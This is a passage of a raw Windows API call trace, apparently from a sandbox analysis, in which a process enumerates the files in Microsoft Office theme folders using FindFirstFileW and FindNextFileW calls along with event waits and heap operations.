ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0267.536] ResetEvent (hEvent=0xe0) returned 1 [0267.536] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.550] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0267.550] ResetEvent (hEvent=0xe0) returned 1 [0267.550] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.566] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0267.566] ResetEvent (hEvent=0xe0) returned 1 [0267.566] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.580] ResetEvent (hEvent=0xe0) returned 1 [0267.580] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.591] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0267.591] ResetEvent (hEvent=0xe0) returned 1 [0267.591] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.616] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0267.616] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0267.620] GetProcessHeap () returned 0x550000 [0267.620] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0267.620] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0267.620] GetProcessHeap () returned 0x550000 [0267.620] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0267.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0267.620] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.620] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0267.620] ResetEvent (hEvent=0xe0) returned 1 [0267.620] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.648] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0267.648] ResetEvent (hEvent=0xe0) returned 1 [0267.649] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.705] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0267.705] ResetEvent (hEvent=0xe0) returned 1 [0267.705] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.049] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.049] ResetEvent (hEvent=0xe0) returned 1 [0268.049] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.135] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.135] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.135] GetProcessHeap () returned 0x550000 [0268.135] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.135] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0268.135] GetProcessHeap () returned 0x550000 [0268.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.135] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.135] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0268.136] ResetEvent (hEvent=0xe0) returned 1 [0268.136] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.223] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0268.223] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.223] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.224] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.224] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.224] GetProcessHeap () returned 0x550000 [0268.224] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.224] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0268.224] GetProcessHeap () returned 0x550000 [0268.224] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.225] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.225] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0268.225] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0268.225] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.225] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.225] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.225] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.226] GetProcessHeap () returned 0x550000 [0268.226] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.226] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0268.226] GetProcessHeap () returned 0x550000 [0268.226] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.226] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.226] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0268.227] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0268.227] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.227] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.227] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.227] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.227] GetProcessHeap () returned 0x550000 [0268.227] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.227] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0268.228] GetProcessHeap () returned 0x550000 [0268.228] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.228] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.228] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0268.228] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, 